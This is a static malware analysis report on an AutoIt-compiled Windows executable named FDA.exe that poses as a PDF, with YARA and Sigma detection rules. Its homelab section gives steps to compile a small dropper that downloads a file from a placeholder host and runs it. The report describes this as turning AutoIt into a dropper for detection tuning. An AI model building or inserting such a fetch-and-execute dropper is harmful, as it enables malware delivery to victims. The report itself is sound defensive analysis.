unclassified-autoit-compiled: f51bc678 — FDA.exe, 196 KB SCRIPT, PDF-icon masquerade

Executive Summary

Eleventh confirmed sibling of the AutoItSC single-file compiled PE32 cluster. Filename FDA.exe masquerades as a US government regulatory document, backed by a 256×256 Adobe Acrobat PDF icon embedded in .rsrc. The compiled AutoIt script is the smallest in the cluster at 196 KB — roughly half the size of the Jul 2024 sibling (2c6133ca, 311 KB) — suggesting a leaner payload or stripped plugin set. Static-only; no CAPE detonation available.

What It Is

This sample belongs to the unclassified-autoit-compiled cluster. See that entity page for shared build-stack fingerprint, TTPs, and the ten prior siblings.

How It Works

The binary is a standard AutoIt v3 single-file compiler (AutoItSC) output: the C++ interpreter runtime and a compiled .a3x-equivalent bytecode payload are fused into one PE. At entry-point (0x420577), the runtime initialises the AutoIt engine, locates the SCRIPT resource via LoadResource/LockResource/SizeofResource (all imported ^[pefile.txt]), decrypts/decompresses the bytecode, and executes it within the interpreter loop. The actual threat logic is entirely inside the compiled script; static analysis of the outer PE only reveals the AutoIt runtime surface.

Notable delta — smallest script in cluster. At 196 KB, this is the leanest SCRIPT resource observed across all eleven siblings. The Jul 2024 invoice sibling (2c6133ca) carries 311 KB; the largest (f0059bee) carries 932 KB. The size reduction may indicate fewer AutoIt #include modules, a stripped C2 config, or a simpler payload (e.g. pure downloader vs. full RAT). Without decompilation this is inference, not fact.

Notable delta — government-agency masquerade. While prior siblings use business-document lures (invoice, purchase order, shipping notice, public-holiday payroll), this sample uses FDA.exe — the US Food and Drug Administration acronym — paired with a 256×256 PNG Adobe Acrobat PDF icon in .rsrc (type 3, name 7, 67,624 bytes). ^[binwalk.txt] ^[pefile.txt] This is a deliberate social-engineering pivot from B2B procurement themes to regulatory correspondence, likely targeting healthcare, pharma, or government-contractor verticals.

PCRE regex library present. Same as siblings f2be9e06 and f3a48a8c: the full PCRE error-message table and Unicode script-name enumeration are visible in .rdata ^[strings.txt:569-760]. Suggests the script uses regex-based data harvesting.

Import table is the standard AutoItSC runtime surface: WSOCK32 (sockets), WININET (HTTP/FTP), WINMM (audio/timer), COMCTL32 (common controls), MPR (mapped drives), PSAPI (process memory), IPHLPAPI (ICMP ping), USERENV (user profiles), UxTheme (theming), KERNEL32 (process/file/memory), USER32 (windowing/GUI/clipboard/keylogging), GDI32 (screenshots), COMDLG32 (file dialogs), ADVAPI32 (registry/token/security), SHELL32 (shell ops), ole32/OLEAUT32 (COM). No packed/encrypted imports; all names are plaintext. ^[pefile.txt:274-500]

Decompiled Behavior

Static decompilation of the AutoItSC runtime entry (entry0 at 0x420577) via radare2 shows the classic MSVC CRT initialisation sequence: __security_init_cookie, SEH frame setup, then a call to main() at 0x401c60. The main() function is a thin wrapper that checks a global flag and immediately returns — actual script execution is dispatched through AutoIt interpreter callbacks registered earlier in CRT initialisation. ^[rabin2-info.txt]

The outer PE does not exhibit anti-debug, anti-VM, or control-flow obfuscation. The only "obfuscation" is the compiled AutoIt bytecode itself, which requires the AutoIt decompiler (MyAut2Exe / Exe2Aut) or dynamic instrumentation to recover.

C2 Infrastructure

No hardcoded C2 strings recovered from static extraction. The AutoIt script logic (196 KB of compiled bytecode) is opaque without decompilation. Based on the import table and cluster history, expected C2 vectors are:

• HTTP/HTTPS via InternetOpenW → InternetConnectW → HttpOpenRequestW → HttpSendRequestW ^[pefile.txt]
• Raw TCP via WSOCK32.dll (socket, connect, send, recv) ^[pefile.txt]
• FTP via FtpOpenFileW, InternetOpenUrlW ^[pefile.txt]

Interesting Tidbits

• Government-lure pivot: First sibling in the cluster to abandon B2B procurement themes for a US federal agency masquerade. This suggests either a new campaign targeting healthcare/pharma sectors, or the same operator rotating lures seasonally. ^[metadata.json]
• Empty version info: VS_VERSIONINFO exists but FileVersion, ProductVersion, CompanyName, and InternalName are all zero-length or null. ^[pefile.txt:239-260] The operator did not bother to fabricate version metadata — a step even low-effort malware usually takes.
• Icon as social-engineering weapon: The 256×256 PNG is a glossy Adobe Acrobat PDF icon with curled-page 3D effect and red "PDF" ribbon. ^[binwalk.txt:6] Windows Explorer renders this at full resolution on high-DPI displays, making the .exe appear visually indistinguishable from a legitimate PDF attachment.
• No overlay: Script lives exclusively in .rsrc (type 10). No file-overlay variant placement as seen in ff84806a and f346b7e9. ^[binwalk.txt]

How To Mess With It (Homelab Replication)

Goal: Produce a single-file AutoIt compiled PE that matches the cluster fingerprint for detection-rule tuning.

1. Install AutoIt v3.3.16.1 from https://www.autoitscript.com/site/autoit/downloads/.
2. Write a trivial script (test.au3) that calls InetGet("http://example.com/payload.exe", "@TempDir\payload.exe") then Run("@TempDir\payload.exe").
3. Compile with Aut2Exe.exe /in test.au3 /out test.exe /x86 /gui.
4. Verify with strings test.exe | grep -i autoit — should show .text$lp00AutoItSC and AU3!EA06.
5. Verify with python3 -c "import pefile; pe=pefile.PE('test.exe'); print([hex(r.id) for r in pe.DIRECTORY_ENTRY_RESOURCE.entries])" — should list 0xa (SCRIPT).
6. Run capa test.exe — should abort with "compiled with AutoIt" warning, matching this sample's capa.txt.

What you learn: How trivial it is to weaponise a legitimate automation framework into a dropper that defeats static string extraction and confuses most automated analysis pipelines.

Deployable Signatures

YARA rule

rule AutoItSC_SingleFile_PE32_GovLure {
    meta:
        description = "AutoItSC single-file PE32 with government-agency filename and PDF-icon masquerade"
        author = "PacketPursuit SOC"
        date = "2026-06-20"
        sha256 = "f51bc678c27d1ed02c3bec276870a0daa0b61caec551c3cb8ce2c2078fa3aab9"
    strings:
        $au3_hdr = "AU3!EA06" ascii wide
        $autoitsc = ".text$lp00AutoItSC" ascii
        $pdf_icon1 = { 89 50 4E 47 0D 0A 1A 0A }        // PNG signature in .rsrc
        $wininet = "WININET.dll" ascii
        $wsock = "WSOCK32.dll" ascii
    condition:
        uint16(0) == 0x5A4D and
        pe.characteristics & pe.EXECUTABLE_IMAGE and
        $au3_hdr and
        $autoitsc and
        $wininet and
        $wsock and
        pe.number_of_sections >= 5 and
        for any i in (0..pe.number_of_resources - 1) :
            (pe.resources[i].type == pe.RESOURCE_TYPE_RCDATA)
}

Sigma rule

title: AutoItSC Compiled Script Execution with Suspicious Parent
description: Detects AutoIt3 compiled PE execution from user-writable directories or unusual parents
logsource:
  product: windows
  category: process_creation
detection:
  selection:
    - Image|endswith: '\\FDA.exe'
    - Image|endswith: '\\Invoice.exe'
    - Image|endswith: '\\PO_#*.exe'
    - Image|endswith: '\\INQUIRY_*.exe'
    - Image|endswith: '\\Public_Holiday_Notice_*.exe'
    - Image|endswith: '\\AUG_SOA.exe'
    - CommandLine|contains: 'AU3!EA06'
  condition: selection
falsepositives:
  - Legitimate AutoIt automation in enterprise environments (rare; validate against known-good hash list)
level: high

IOC list

Behavioral fingerprint

This binary is a single-file AutoIt v3 compiled PE32. On execution, it loads its own .rsrc section, decrypts an AU3!EA06-header compiled script (~196 KB), and runs it inside the AutoIt interpreter. The outer PE imports the full Win32 API surface (Winsock, WinInet, GDI, ADVAPI32, SHELL32) but contains no hardcoded C2 strings — all network and persistence logic lives inside the opaque bytecode. It carries a 256×256 PNG PDF icon to masquerade as a document attachment. No anti-debug, no packing, no TLS callbacks. The only evasion is the compiled-script layer itself.

Detection Signatures

References

• Artifact ID: d13a3cd3-cc5a-4729-ae14-47815ef25363 (OpenCTI / MalwareBazaar)
• Related entity: unclassified-autoit-compiled
• Related concept: autoit-compiled-script-dropper
• Sibling analysis: 2c6133ca — Invoice.exe, 311 KB SCRIPT ^[raw/analyses/2c6133ca/report.md]
• Sibling analysis: f0059bee — 932 KB SCRIPT ^[raw/analyses/f0059bee/report.md]
• Sibling analysis: f2be9e06 — 417 KB SCRIPT, PCRE regex ^[raw/analyses/f2be9e06/report.md]

Provenance

Analysis derived from triage artifacts in raw/analyses/f51bc678c27d1ed02c3bec276870a0daa0b61caec551c3cb8ce2c2078fa3aab9/: file.txt, exiftool.json, pefile.txt, strings.txt, rabin2-info.txt, binwalk.txt, yara.txt, metadata.json, triage.json, floss.txt, capa.txt, dynamic-analysis.md. Tools: pefile 2023.2.7, binwalk 2.3.4, YARA 4.5.2, capa 7.0.1, radare2 5.9.4, strings (GNU binutils) 2.42. Static-only; CAPE skipped due to no Windows guest.